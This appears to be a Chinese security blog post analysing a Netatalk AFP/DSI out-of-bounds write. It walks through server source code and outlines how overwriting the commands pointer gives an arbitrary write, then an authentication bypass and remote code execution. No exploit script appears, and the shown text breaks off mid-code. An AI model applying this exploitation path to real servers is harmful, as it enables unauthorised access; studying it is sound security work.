author:cxing
Date:2023年4月6日
introduction:Netatalk 是一个 Apple Filing Protocol (AFP) 的开源实现。 它为 Unix 风格系统提供了与 Macintosh 文件共享的功能。AFP的数据流量包格式为DSI(Data Stream Interface),DSI 在客户端和 AFP 服务器之间使用。
首先需要搭建netatalk的运行环境,这里使用docker搭建Ubuntu18.04,可以在docker Ubuntu18.04中进行环境复现。这里有两种方法,一是在docker中下载源码、安装依赖环境编译,二是在本机中下载源码、依赖编译。我这里选择了比较稳妥的的第一中。
运行Ubuntu 18.04的镜像,没有会自动从官方docker仓库中pull。
| 
      
      1
       | 
    
     sudo docker run 
       -
       it ubuntu:
       18.04 
       /
       bin
       /
       bash
       | 
   
关于详细的安装步骤可以参考先知的这篇文章,如果你想使用我的环境可以使用下面链接下载我的docker镜像。
链接:
提取码:8r5i
你需要使用如下命令启动docker,以保证我docker中的设置正常运行。
| 
      
      1
       | 
    
     sudo docker run 
       -
       p 
       548
       :
       548 
       -
       it 
       -
       -
       privileged
       =
       true temp
       -
       image:latest 
       /
       sbin
       /
       init
       | 
   
netatalk处理请求类似于Apache,对于每一个用户请求都会为其fork一个子进程处理,而父进程则监控请求的处理情况。netatalk的关键运行模块主要有两个,主模块afpd和AFP协议流量包处理模块libnetatalk。其中afpd主要功能为初始化服务的环境、监听和接受处理请求并为之构建请求处理的环境,而libnetatalk是具体解析和处理dsi流量的。
注1:Netatalk的大部分功能性函数命名风格采用 模块命名空间_函数描述 的格式,如afp_exit、afp_over_dsi、dsi_opensession等。
注2: DSI流量包格式可以参考这篇wiki,。
对于理解Netatalk,需要用afp_start、afp_over_dsi为主线理解。
afp_start在main中被调用,通过阅读下面代码可以得知。第一个关键代码处调用了init_listening_sockets其目的是watch atp, dsi sockets and ipc parent/child file descriptor,也就是从这里开始监听APF请求了。继续往下看,我们发现了(child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))这行代码,返货了进程描述符,这意味着从这里开始已经真正开始接收和处理请求了。
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
      
     
      28
      
     
      29
      
     
      30
      
     
      31
      
     
      32
      
     
      33
      
     
      34
      
     
      35
      
     
      36
      
     
      37
      
     
      38
      
     
      39
      
     
      40
      
     
      41
      
     
      42
      
     
      43
      
     
      44
      
     
      45
      
     
      46
      
     
      47
      
     
      48
      
     
      49
      
     
      50
      
     
      51
      
     
      52
      
     
      53
      
     
      54
      
     
      55
      
     
      56
      
     
      57
      
     
      58
      
     
      59
      
     
      60
      
     
      61
      
     
      62
      
     
      63
      
     
      64
      
     
      65
      
     
      66
      
     
      67
      
     
      68
      
     
      69
      
     
      70
      
     
      71
      
     
      72
      
     
      73
      
     
      74
      
     
      75
      
     
      76
      
     
      77
      
     
      78
      
     
      79
      
     
      80
      
     
      81
      
     
      82
      
     
      83
      
     
      84
      
     
      85
      
     
      86
      
     
      87
      
     
      88
      
     
      89
      
     
      90
      
     
      91
      
     
      92
      
     
      93
      
     
      94
      
     
      95
      
     
      96
      
     
      97
      
     
      98
      
     
      99
      
     
      100
      
     
      101
      
     
      102
      
     
      103
      
     
      104
      
     
      105
      
     
      106
      
     
      107
      
     
      108
      
     
      109
      
     
      110
      
     
      111
      
     
      112
      
     
      113
      
     
      114
      
     
      115
      
     
      116
      
     
      117
      
     
      118
      
     
      119
       | 
    
     int 
       main(
       int 
       ac, char 
       *
       *
       av) {
          
       ...
          
       /
       * 
       watch atp, dsi sockets 
       and 
       ipc parent
       /
       child 
       file 
       descriptor. 
       *
       /
          
       if 
       (!(init_listening_sockets(&obj))) {
              
       LOG(log_error, logtype_afpd, 
       "main: couldn't initialize socket handler"
       );
              
       afp_exit(EXITERR_CONF);
          
       }
              
       ...
          
       while 
       (
       1
       ) {
              
       pthread_sigmask(SIG_UNBLOCK, &sigs, NULL);
              
       ret 
       = 
       poll(asev
       -
       >fdset, asev
       -
       >used, 
       -
       1
       );
              
       pthread_sigmask(SIG_BLOCK, &sigs, NULL);
              
       saveerrno 
       = 
       errno;
              
       if 
       (gotsigchld) {
                  
       gotsigchld 
       = 
       0
       ;
                  
       child_handler();
                  
       continue
       ;
              
       }
              
       if 
       (reloadconfig) {
                  
       nologin
       +
       +
       ;
                  
       if 
       (!(reset_listening_sockets(&obj))) {
                      
       LOG(log_error, logtype_afpd, 
       "main: reset socket handlers"
       );
                      
       afp_exit(EXITERR_CONF);
                  
       }
                  
       LOG(log_info, logtype_afpd, 
       "re-reading configuration file"
       );
                  
       configfree(&obj, NULL);
                  
       afp_config_free(&obj);
                  
       if 
       (afp_config_parse(&obj, 
       "afpd"
       ) !
       = 
       0
       )
                      
       afp_exit(EXITERR_CONF);
                  
       if 
       (configinit(&obj) !
       = 
       0
       ) {
                      
       LOG(log_error, logtype_afpd, 
       "config re-read: no servers configured"
       );
                      
       afp_exit(EXITERR_CONF);
                  
       }
                  
       if 
       (!(init_listening_sockets(&obj))) {
                      
       LOG(log_error, logtype_afpd, 
       "main: couldn't initialize socket handler"
       );
                      
       afp_exit(EXITERR_CONF);
                  
       }
                  
       nologin 
       = 
       0
       ;
                  
       reloadconfig 
       = 
       0
       ;
                  
       errno 
       = 
       saveerrno;
                  
       if 
       (server_children) {
                      
       server_child_kill(server_children, SIGHUP);
                  
       }
                  
       continue
       ;
              
       }
              
       if 
       (ret 
       =
       = 
       0
       )
                  
       continue
       ;
              
       if 
       (ret < 
       0
       ) {
                  
       if 
       (errno 
       =
       = 
       EINTR)
                      
       continue
       ;
                  
       LOG(log_error, logtype_afpd, 
       "main: can't wait for input: %s"
       , strerror(errno));
                  
       break
       ;
              
       }
              
       for 
       (
       int 
       i 
       = 
       0
       ; i < asev
       -
       >used; i
       +
       +
       ) {
                  
       if 
       (asev
       -
       >fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
                      
       switch (asev
       -
       >data[i].fdtype) {
                          
       case LISTEN_FD:
                              
       /
       / 
       here
                              
       if 
       ((child 
       = 
       dsi_start(&obj, (DSI 
       *
       )(asev
       -
       >data[i].private), server_children))) {
                                  
       if 
       (!(asev_add_fd(asev, child
       -
       >afpch_ipc_fd, IPC_FD, child))) {
                                      
       LOG(log_error, logtype_afpd, 
       "out of asev slots"
       );
                                      
       /
       *
      * 
       Close IPC fd here 
       and 
       mark it as unused
      *
       /
                                      
       close(child
       -
       >afpch_ipc_fd);
                                      
       child
       -
       >afpch_ipc_fd 
       = 
       -
       1
       ;
                                      
       /
       *
      * 
       Being unfriendly here, but we really
      * 
       want to get rid of it. The 
       'child'
      * 
       handle gets cleaned up 
       in 
       the SIGCLD
      * 
       handler.
      *
       /
                                      
       kill(child
       -
       >afpch_pid, SIGKILL);
                              
       }
                              
       }
                                  
       break
       ;
                                  
       case IPC_FD:
                                  
       child 
       = 
       (afp_child_t 
       *
       )(asev
       -
       >data[i].private);
                                  
       LOG(log_debug, logtype_afpd, 
       "main: IPC request from child[%u]"
       , child
       -
       >afpch_pid);
                                  
       if 
       (ipc_server_read(server_children, child
       -
       >afpch_ipc_fd) !
       = 
       0
       ) {
                                  
       if 
       (!(asev_del_fd(asev, child
       -
       >afpch_ipc_fd))) {
                                  
       LOG(log_error, logtype_afpd, 
       "child[%u]: no IPC fd"
       );
                              
       }
                                  
       close(child
       -
       >afpch_ipc_fd);
                                  
       child
       -
       >afpch_ipc_fd 
       = 
       -
       1
       ;
                              
       }
                                  
       break
       ;
                                  
       default:
                                  
       LOG(log_debug, logtype_afpd, 
       "main: IPC request for unknown type"
       );
                                  
       break
       ;
                              
       } 
       /
       * 
       switch 
       *
       /
                              
       }  
       /
       * 
       if 
       *
       /
                              
       } 
       /
       * 
       for 
       (i)
       *
       /
                              
       } 
       /
       * 
       while 
       (
       1
       ) 
       *
       /
                              
       }
       | 
   
我们再来看afp_start函数。首先调用了dsi_getsession,并且forked后进入afp_over_dsi处理本次请求。我们先看dsi_getsession,我们可以看到在第一个数据包中只允许我们利用DSI中的command字段访问两个Command命令或者说函数,分别是DSIGetStatus和 DSIOpenSession。我们查阅一下,DSIOpenSession命令的分支即dsi_opensession函数。我们看到switch语句在解析DSI session options时,DSIOPT_ATTNQUANT分支中出现了一个memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);语句,这里存在一个越界写漏洞。在进入到dsi_opensession函数之前,会隐式的调用dsi_stream_receive函数,将我们发送的DSI数据包中的Payload字段 copy to dsi->commands中。而Payload字段是可控的,用户发包时自由指定,只要服务可以解析即可。因此,我们发现payload在这里实际上解析的格式是payload[0]:code, payload[1]:size, payload[2:size -1]:data,而memcpy拷贝至的dsi->attn_quantum变量却是一个uint32类型,也就说,只要我们合理设置size和data就可以触发越界写,覆盖&dsi->attn_quantum后面的字段。我们可以往后覆盖多少个字节呢?dsi->commands是一个uint8类型的指针,也就是解析格式中size最大值为255,我们可以往后覆盖255个字节。
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
      
     
      28
      
     
      29
      
     
      30
      
     
      31
      
     
      32
      
     
      33
      
     
      34
      
     
      35
      
     
      36
      
     
      37
      
     
      38
      
     
      39
      
     
      40
      
     
      41
      
     
      42
      
     
      43
      
     
      44
      
     
      45
      
     
      46
      
     
      47
      
     
      48
      
     
      49
      
     
      50
      
     
      51
      
     
      52
      
     
      53
      
     
      54
      
     
      55
      
     
      56
      
     
      57
      
     
      58
      
     
      59
      
     
      60
      
     
      61
      
     
      62
      
     
      63
      
     
      64
      
     
      65
      
     
      66
      
     
      67
      
     
      68
      
     
      69
      
     
      70
      
     
      71
      
     
      72
      
     
      73
      
     
      74
      
     
      75
      
     
      76
      
     
      77
      
     
      78
      
     
      79
      
     
      80
      
     
      81
      
     
      82
      
     
      83
      
     
      84
      
     
      85
      
     
      86
      
     
      87
      
     
      88
      
     
      89
      
     
      90
      
     
      91
      
     
      92
      
     
      93
      
     
      94
      
     
      95
      
     
      96
      
     
      97
      
     
      98
      
     
      99
      
     
      100
      
     
      101
      
     
      102
      
     
      103
      
     
      104
      
     
      105
      
     
      106
      
     
      107
      
     
      108
      
     
      109
      
     
      110
      
     
      111
      
     
      112
       | 
    
     static afp_child_t 
       *
       dsi_start(AFPObj 
       *
       obj, DSI 
       *
       dsi, server_child_t 
       *
       server_children)
      {
          
       afp_child_t 
       *
       child 
       = 
       NULL;
          
       if 
       (dsi_getsession(dsi, server_children, obj
       -
       >options.tickleval, &child) !
       = 
       0
       ) {
              
       LOG(log_error, logtype_afpd, 
       "dsi_start: session error: %s"
       , strerror(errno));
              
       return 
       NULL;
          
       }
          
       /
       / 
       we've forked.
          
       if 
       (child 
       =
       = 
       NULL) {
              
       configfree(obj, dsi);
              
       afp_over_dsi(obj); 
       /
       * 
       start a session 
       *
       /
              
       exit (
       0
       );
          
       }
          
       return 
       child;
      }
      /
       *
       !
      * 
       Start a DSI session, fork an afpd process
      *
      * 
       @param childp    (w) after fork: parent 
       return 
       pointer to child, child returns NULL
      * 
       @returns             
       0 
       on sucess, 
       any 
       other value denotes failure
      *
       /
      /
       * 
       DSI Commands 
       *
       /
      #define DSIFUNC_CLOSE   1       /* DSICloseSession */
      #define DSIFUNC_CMD     2       /* DSICommand */
      #define DSIFUNC_STAT    3       /* DSIGetStatus */
      #define DSIFUNC_OPEN    4       /* DSIOpenSession */
      #define DSIFUNC_TICKLE  5       /* DSITickle */
      #define DSIFUNC_WRITE   6       /* DSIWrite */
      #define DSIFUNC_ATTN    8       /* DSIAttention */
      #define DSIFUNC_MAX     8       /* largest command */
      int 
       dsi_getsession(DSI 
       *
       dsi, server_child_t 
       *
       serv_children, 
       int 
       tickleval, afp_child_t 
       *
       *
       childp)
      {
          
       switch (dsi
       -
       >header.dsi_command) {
              
       case DSIFUNC_STAT: 
       /
       * 
       send off status 
       and 
       return 
       *
       /
                  
       {
                      
       /
       * 
       OpenTransport 
       1.1
       .
       2 
       bug workaround: 
      *
      * 
       OT code doesn't currently handle close sockets well. urk.
      * 
       the workaround: wait 
       for 
       the client to close its
      * 
       side. timeouts prevent indefinite resource use. 
      *
       /
                      
       static struct timeval timeout 
       = 
       {
       120
       , 
       0
       };
                      
       fd_set readfds;
                      
       dsi_getstatus(dsi);
                      
       FD_ZERO(&readfds);
                      
       FD_SET(dsi
       -
       >socket, &readfds);
                      
       free(dsi);
                      
       select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);    
                      
       exit(
       0
       );
                  
       }
                  
       break
       ;
              
       case DSIFUNC_OPEN: 
       /
       * 
       setup session 
       *
       /
                  
       /
       * 
       set 
       up the tickle timer 
       *
       /
                  
       dsi
       -
       >timer.it_interval.tv_sec 
       = 
       dsi
       -
       >timer.it_value.tv_sec 
       = 
       tickleval;
                  
       dsi
       -
       >timer.it_interval.tv_usec 
       = 
       dsi
       -
       >timer.it_value.tv_usec 
       = 
       0
       ;
                  
       dsi_opensession(dsi);
                  
       *
       childp 
       = 
       NULL;
                  
       return 
       0
       ;
              
       default: 
       /
       * 
       just close 
       *
       /
                  
       LOG(log_info, logtype_dsi, 
       "DSIUnknown %d"
       , dsi
       -
       >header.dsi_command);
                  
       dsi
       -
       >proto_close(dsi);
                  
       exit(EXITERR_CLNT);
          
       }
      }
      /
       * 
       DSI session options 
       *
       /
      #define DSIOPT_SERVQUANT 0x00   /* server request quantum */
      #define DSIOPT_ATTNQUANT 0x01   /* attention quantum */
      #define DSIOPT_REPLCSIZE 0x02   /* AFP replaycache size supported by the server (that's us) */
      /
       * 
       OpenSession. 
       set 
       up the connection 
       *
       /
      void dsi_opensession(DSI 
       *
       dsi)
      {
        
       uint32_t i 
       = 
       0
       ; 
       /
       * 
       this serves double duty. it must be 
       4
       -
       bytes 
       long 
       *
       /
        
       int 
       offs;
        
       if 
       (setnonblock(dsi
       -
       >socket, 
       1
       ) < 
       0
       ) {
            
       LOG(log_error, logtype_dsi, 
       "dsi_opensession: setnonblock: %s"
       , strerror(errno));
            
       AFP_PANIC(
       "setnonblock error"
       );
        
       }
        
       /
       * 
       parse options 
       *
       /
        
       while 
       (i < dsi
       -
       >cmdlen) {
          
       switch (dsi
       -
       >commands[i
       +
       +
       ]){
          
       case DSIOPT_ATTNQUANT: 
       /
       / 
       dsi_header.dsi_data[
       0
       ]:code, dsi_header.dsi_data[
       1
       ]:size, dsi_header.dsi_data[
       2
       :size 
       -
       1
       ]:data
            
       memcpy(&dsi
       -
       >attn_quantum, dsi
       -
       >commands 
       + 
       i 
       + 
       1
       , dsi
       -
       >commands[i]);  
       /
       / 
       越界写,上层函数会执行 memcpy(dsi
       -
       >commands, dsi_header
       -
       >dsi_data) dsi_header是我们发包的内容
            
       dsi
       -
       >attn_quantum 
       = 
       ntohl(dsi
       -
       >attn_quantum);
          
       case DSIOPT_SERVQUANT: 
       /
       * 
       just ignore these 
       *
       /
          
       default:
            
       i 
       +
       = 
       dsi
       -
       >commands[i] 
       + 
       1
       ; 
       /
       * 
       forward past length tag 
       + 
       length 
       *
       /
            
       break
       ;
          
       }
        
       }
      /
       / 
       ...
        
       dsi_send(dsi);
      }
       | 
   
DSI结构体如下,从attn_quantum字段往后溢出,我们最多可以溢出至data数组的部分空间(data数组非常大)。比较关键的是我们可以覆盖指针dsi->commands。在后面的漏洞分析小节,我们会纤细的讨论覆盖commands指针所导致的严重后果,这将使得我们可以RCE。afp_start->dsi_getsession->dsi_opensession这条路径我们分析至此。大意的作用从两个关键函数名也可以看出来,核心就是open session,配置一些东西并开启正式的连接会话,你可以理解为TCP建立连接前的三次握手,但是在配置过程中产生了越界写漏洞。
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
      
     
      28
      
     
      29
      
     
      30
      
     
      31
      
     
      32
      
     
      33
      
     
      34
      
     
      35
      
     
      36
      
     
      37
      
     
      38
      
     
      39
      
     
      40
      
     
      41
      
     
      42
      
     
      43
       | 
    
     typedef struct DSI {
          
       struct DSI 
       *
       next
       ;             
       /
       * 
       multiple listening addresses 
       *
       /
          
       AFPObj   
       *
       AFPobj;
          
       int      
       statuslen;
          
       char     status[
       1400
       ];
          
       char     
       *
       signature;
          
       struct dsi_block        header;
          
       struct sockaddr_storage server, client;
          
       struct itimerval        timer;
          
       int      
       tickle;            
       /
       * 
       tickle count 
       *
       /
          
       int      
       in_write;          
       /
       * 
       in 
       the middle of writing multiple packets,
                                         
       signal handlers can't write to the socket 
       *
       /
          
       int      
       msg_request;       
       /
       * 
       pending message to the client 
       *
       /
          
       int      
       down_request;      
       /
       * 
       pending SIGUSR1 down 
       in 
       5 
       mn 
       *
       /
          
       uint32_t attn_quantum, datasize, server_quantum;
          
       uint16_t serverID, clientID;
          
       uint8_t  
       *
       commands; 
       /
       * 
       DSI recieve 
       buffer 
       *
       / 
       /
       /
          
       uint8_t  data[DSI_DATASIZ];    
       /
       * 
       DSI reply 
       buffer 
       *
       /
          
       size_t   datalen, cmdlen;
          
       off_t    read_count, write_count;
          
       uint32_t flags;             
       /
       * 
       DSI flags like DSI_SLEEPING, DSI_DISCONNECTED 
       *
       /
          
       int      
       socket;            
       /
       * 
       AFP session socket 
       *
       /
          
       int      
       serversock;        
       /
       * 
       listening socket 
       *
       /
          
       /
       * 
       DSI readahead 
       buffer 
       used 
       for 
       buffered reads 
       in 
       dsi_peek 
       *
       /
          
       size_t   dsireadbuf;        
       /
       * 
       size of the DSI readahead 
       buffer 
       used 
       in 
       dsi_peek() 
       *
       /
          
       char     
       *
       buffer
       ;           
       /
       * 
       buffer 
       start 
       *
       /
          
       char     
       *
       start;            
       /
       * 
       current 
       buffer 
       head 
       *
       /
          
       char     
       *
       eof;              
       /
       * 
       end of currently used 
       buffer 
       *
       /
          
       char     
       *
       end;
      #ifdef USE_ZEROCONF
          
       char 
       *
       bonjourname;      
       /
       * 
       server name as UTF8 maxlen MAXINSTANCENAMELEN 
       *
       /
          
       int 
       zeroconf_registered;
      #endif
          
       /
       * 
       protocol specific 
       open
       /
       close, send
       /
       receive
           
       * 
       send
       /
       receive fill 
       in 
       the header 
       and 
       use dsi
       -
       >commands.
           
       * 
       write
       /
       read just write
       /
       read data 
       *
       /
          
       pid_t  (
       *
       proto_open)(struct DSI 
       *
       );
          
       void   (
       *
       proto_close)(struct DSI 
       *
       );
      } DSI;
       | 
   
我们再继续从afp_start->afp_over_dsi开始看。afp_over_dsi处理正式连接的请求核心再这个while循环。首先第一行重要代码cmd = dsi_stream_receive(dsi);,Blocking read on the network socket,即阻塞地从socket连接中读取dsi steam,即会解析dsi流量填充dsi结构体,也就是反序列化dsi流量。我们进入快速阅读一下dsi_stream_receive函数,注意我们关注的是该函数如何从socket中读取数据填充dsi结构体。我们可以明显的发现block变量即是DSI Header,将block copy to dsi.header中。而其中关键的数据包的body也即payload或者说dsi data是同过一行if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)从dsi结构体的buffer中读取到dsi->commands指针指向的内存中,最后其返回值返回block[1],也就是我们下图1中给出的DSI Header结构中的Command字段。至此我们了解该函数是如何把DSI流量数据填充进 dsi structure。
注3:这里我们就发现了任意地址写漏洞。我们最开始的越界写,第一次发包可以覆盖commands,而后续发包可以往commands中写入我们希望的数据,指针劫持并可控的写指针指向内存,并且我们发现我们可以写多少是由图1的total data length这个字段决定的,而这个字段是4字节大小且根据payload的长度计算值,因此我们可以写非常长的payload。
任意地址写漏洞是后续RCE的基。我们之所以可以如此是因为dsi->commands指针的生命周期与dsi结构体生命周期是一样的,存在于一次连接中。
我们继续回到afp_over_dsi的while循环中。再dsi_stream_receive函数返回时,其返回值同时也是本次请求的Command字段,该返回值进入Switch语句执行对应的command命令,而我们着重关注最核心的case DSIFUNC_CMD分支。这个分支的作用简而言之,就是根据我们DSI数据流中的Payload字段的数据,执行AFP回调函数。我们可以发现核心的afp_switch变量,通过全局搜索afp_switch =可以发现两处赋值(如图2所示)。通过变量名和两张回调函数表的内容,可以猜测,一个是未登入或未授权时走preauth_switch,一个是登入成功或授权时走postauth_switch。
注4:我们拥有了任意地址写,那么处理得当,我们可以为授权时通过任意地址写将
afp_switch的值改成postauth_switch,我们将可以访问postauth_switch中的回调函数,即触发未授权访问。更进一步,我们将preauth_switch或postauth_switch表中的一些项改成我们希望的代码段地址、one_gadget等,将触发RCE。因此目前我们已经从漏洞点中分析出未授权访问和RCE两种利用方式了。
 
 
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
      
     
      28
      
     
      29
      
     
      30
      
     
      31
      
     
      32
      
     
      33
      
     
      34
      
     
      35
      
     
      36
      
     
      37
      
     
      38
      
     
      39
      
     
      40
      
     
      41
      
     
      42
      
     
      43
      
     
      44
      
     
      45
      
     
      46
      
     
      47
      
     
      48
      
     
      49
      
     
      50
      
     
      51
      
     
      52
      
     
      53
      
     
      54
      
     
      55
      
     
      56
      
     
      57
      
     
      58
      
     
      59
      
     
      60
      
     
      61
      
     
      62
      
     
      63
      
     
      64
      
     
      65
      
     
      66
      
     
      67
      
     
      68
      
     
      69
      
     
      70
      
     
      71
      
     
      72
      
     
      73
      
     
      74
      
     
      75
      
     
      76
      
     
      77
      
     
      78
      
     
      79
      
     
      80
      
     
      81
      
     
      82
      
     
      83
      
     
      84
      
     
      85
      
     
      86
      
     
      87
      
     
      88
      
     
      89
      
     
      90
      
     
      91
      
     
      92
      
     
      93
      
     
      94
      
     
      95
      
     
      96
      
     
      97
      
     
      98
      
     
      99
      
     
      100
      
     
      101
      
     
      102
      
     
      103
      
     
      104
      
     
      105
      
     
      106
      
     
      107
      
     
      108
      
     
      109
      
     
      110
      
     
      111
      
     
      112
      
     
      113
      
     
      114
      
     
      115
      
     
      116
      
     
      117
      
     
      118
      
     
      119
      
     
      120
      
     
      121
      
     
      122
      
     
      123
      
     
      124
      
     
      125
      
     
      126
      
     
      127
      
     
      128
      
     
      129
      
     
      130
      
     
      131
      
     
      132
      
     
      133
      
     
      134
      
     
      135
      
     
      136
      
     
      137
      
     
      138
      
     
      139
      
     
      140
      
     
      141
      
     
      142
      
     
      143
      
     
      144
      
     
      145
      
     
      146
      
     
      147
      
     
      148
      
     
      149
      
     
      150
      
     
      151
      
     
      152
      
     
      153
      
     
      154
      
     
      155
      
     
      156
      
     
      157
      
     
      158
      
     
      159
      
     
      160
      
     
      161
      
     
      162
      
     
      163
      
     
      164
      
     
      165
      
     
      166
      
     
      167
      
     
      168
      
     
      169
      
     
      170
      
     
      171
      
     
      172
      
     
      173
      
     
      174
      
     
      175
      
     
      176
      
     
      177
      
     
      178
      
     
      179
      
     
      180
      
     
      181
      
     
      182
      
     
      183
      
     
      184
      
     
      185
      
     
      186
      
     
      187
      
     
      188
      
     
      189
      
     
      190
      
     
      191
      
     
      192
      
     
      193
      
     
      194
      
     
      195
      
     
      196
      
     
      197
      
     
      198
      
     
      199
      
     
      200
      
     
      201
      
     
      202
      
     
      203
      
     
      204
      
     
      205
      
     
      206
      
     
      207
      
     
      208
      
     
      209
      
     
      210
      
     
      211
      
     
      212
      
     
      213
      
     
      214
      
     
      215
      
     
      216
      
     
      217
      
     
      218
      
     
      219
      
     
      220
      
     
      221
      
     
      222
      
     
      223
      
     
      224
      
     
      225
      
     
      226
      
     
      227
      
     
      228
      
     
      229
      
     
      230
      
     
      231
      
     
      232
      
     
      233
      
     
      234
      
     
      235
      
     
      236
      
     
      237
      
     
      238
      
     
      239
      
     
      240
      
     
      241
      
     
      242
      
     
      243
      
     
      244
      
     
      245
      
     
      246
      
     
      247
      
     
      248
      
     
      249
      
     
      250
      
     
      251
      
     
      252
      
     
      253
      
     
      254
      
     
      255
      
     
      256
      
     
      257
      
     
      258
      
     
      259
      
     
      260
      
     
      261
      
     
      262
      
     
      263
      
     
      264
      
     
      265
      
     
      266
      
     
      267
      
     
      268
      
     
      269
       | 
    
     void afp_over_dsi(AFPObj 
       *
       obj)
      {
          
       DSI 
       *
       dsi 
       = 
       (DSI 
       *
       ) obj
       -
       >dsi;
          
       /
       / 
       ...
           
       while 
       (
       1
       ) {
              
       if 
       (sigsetjmp(recon_jmp, 
       1
       ) !
       = 
       0
       )
                  
       /
       * 
       returning 
       from 
       SIGALARM handler 
       for 
       a primary reconnect 
       *
       /
                  
       continue
       ;
              
       /
       * 
       Blocking read on the network socket 
       *
       /
              
       cmd 
       = 
       dsi_stream_receive(dsi);
              
       if 
       (cmd 
       =
       = 
       0
       ) {
                  
       /
       * 
       cmd 
       =
       = 
       0 
       is 
       the error condition 
       *
       /
                  
       if 
       (dsi
       -
       >flags & DSI_RECONSOCKET) {
                      
       /
       * 
       we just got a reconnect so we immediately 
       try 
       again to receive on the new fd 
       *
       /
                      
       dsi
       -
       >flags &
       = 
       ~DSI_RECONSOCKET;
                      
       continue
       ;
                  
       }
                  
       /
       * 
       the client sometimes logs out (afp_logout) but doesn't close the DSI session 
       *
       /
                  
       if 
       (dsi
       -
       >flags & DSI_AFP_LOGGED_OUT) {
                      
       LOG(log_note, logtype_afpd, 
       "afp_over_dsi: client logged out, terminating DSI session"
       );
                      
       afp_dsi_close(obj);
                      
       exit(
       0
       );
                  
       }
                  
       if 
       (dsi
       -
       >flags & DSI_RECONINPROG) {
                      
       LOG(log_note, logtype_afpd, 
       "afp_over_dsi: failed reconnect"
       );
                      
       afp_dsi_close(obj);
                      
       exit(
       0
       );
                  
       }
                  
       /
       * 
       Some error on the client connection, enter disconnected state 
       *
       /
                  
       if 
       (dsi_disconnect(dsi) !
       = 
       0
       )
                      
       afp_dsi_die(EXITERR_CLNT);
                  
       ipc_child_state(obj, DSI_DISCONNECTED);
                  
       while 
       (dsi
       -
       >flags & DSI_DISCONNECTED)
                      
       pause(); 
       /
       * 
       gets interrupted by SIGALARM 
       or 
       SIGURG tickle 
       *
       /
                  
       ipc_child_state(obj, DSI_RUNNING);
                  
       continue
       ; 
       /
       * 
       continue 
       receiving until disconnect timer expires
                             
       * 
       or 
       a primary reconnect succeeds  
       *
       /
              
       }
              
       if 
       (!(dsi
       -
       >flags & DSI_EXTSLEEP) && (dsi
       -
       >flags & DSI_SLEEPING)) {
                  
       LOG(log_debug, logtype_afpd, 
       "afp_over_dsi: got data, ending normal sleep"
       );
                  
       dsi
       -
       >flags &
       = 
       ~DSI_SLEEPING;
                  
       dsi
       -
       >tickle 
       = 
       0
       ;
                  
       ipc_child_state(obj, DSI_RUNNING);
              
       }
              
       if 
       (reload_request) {
                  
       reload_request 
       = 
       0
       ;
                  
       load_volumes(AFPobj, LV_FORCE);
              
       }
              
       /
       * 
       The first SIGINT enables debugging, the 
       next 
       restores the config 
       *
       /
              
       if 
       (debug_request) {
                  
       static 
       int 
       debugging 
       = 
       0
       ;
                  
       debug_request 
       = 
       0
       ;
                  
       dircache_dump();
                  
       uuidcache_dump();
                  
       if 
       (debugging) {
                      
       if 
       (obj
       -
       >options.logconfig)
                          
       setuplog(obj
       -
       >options.logconfig, obj
       -
       >options.logfile);
                      
       else
                          
       setuplog(
       "default:note"
       , NULL);
                      
       debugging 
       = 
       0
       ;
                  
       } 
       else 
       {
                      
       char logstr[
       50
       ];
                      
       debugging 
       = 
       1
       ;
                      
       sprintf(logstr, 
       "/tmp/afpd.%u.XXXXXX"
       , getpid());
                      
       setuplog(
       "default:maxdebug"
       , logstr);
                  
       }
              
       }
              
       dsi
       -
       >flags |
       = 
       DSI_DATA;
              
       dsi
       -
       >tickle 
       = 
       0
       ;
              
       switch(cmd) {
              
       case DSIFUNC_CLOSE:
                  
       LOG(log_debug, logtype_afpd, 
       "DSI: close session request"
       );
                  
       afp_dsi_close(obj);
                  
       LOG(log_note, logtype_afpd, 
       "done"
       );
                  
       exit(
       0
       );
              
       case DSIFUNC_TICKLE:
                  
       dsi
       -
       >flags &
       = 
       ~DSI_DATA; 
       /
       * 
       thats no data 
       in 
       the sense we use it 
       in 
       alarm_handler 
       *
       /
                  
       LOG(log_debug, logtype_afpd, 
       "DSI: client tickle"
       );
                  
       /
       * 
       timer 
       is 
       not 
       every 
       30 
       seconds anymore, so we don't get killed on the client side. 
       *
       /
                  
       if 
       ((dsi
       -
       >flags & DSI_DIE))
                      
       dsi_tickle(dsi);
                  
       break
       ;
              
       case DSIFUNC_CMD:
      #ifdef AFS
                  
       if 
       ( writtenfork ) {
                      
       if 
       ( flushfork( writtenfork ) < 
       0 
       ) {
                          
       LOG(log_error, logtype_afpd, 
       "main flushfork: %s"
       , strerror(errno) );
                      
       }
                      
       writtenfork 
       = 
       NULL;
                  
       }
      #endif /* AFS */
                  
       function 
       = 
       (u_char) dsi
       -
       >commands[
       0
       ];
                  
       /
       * 
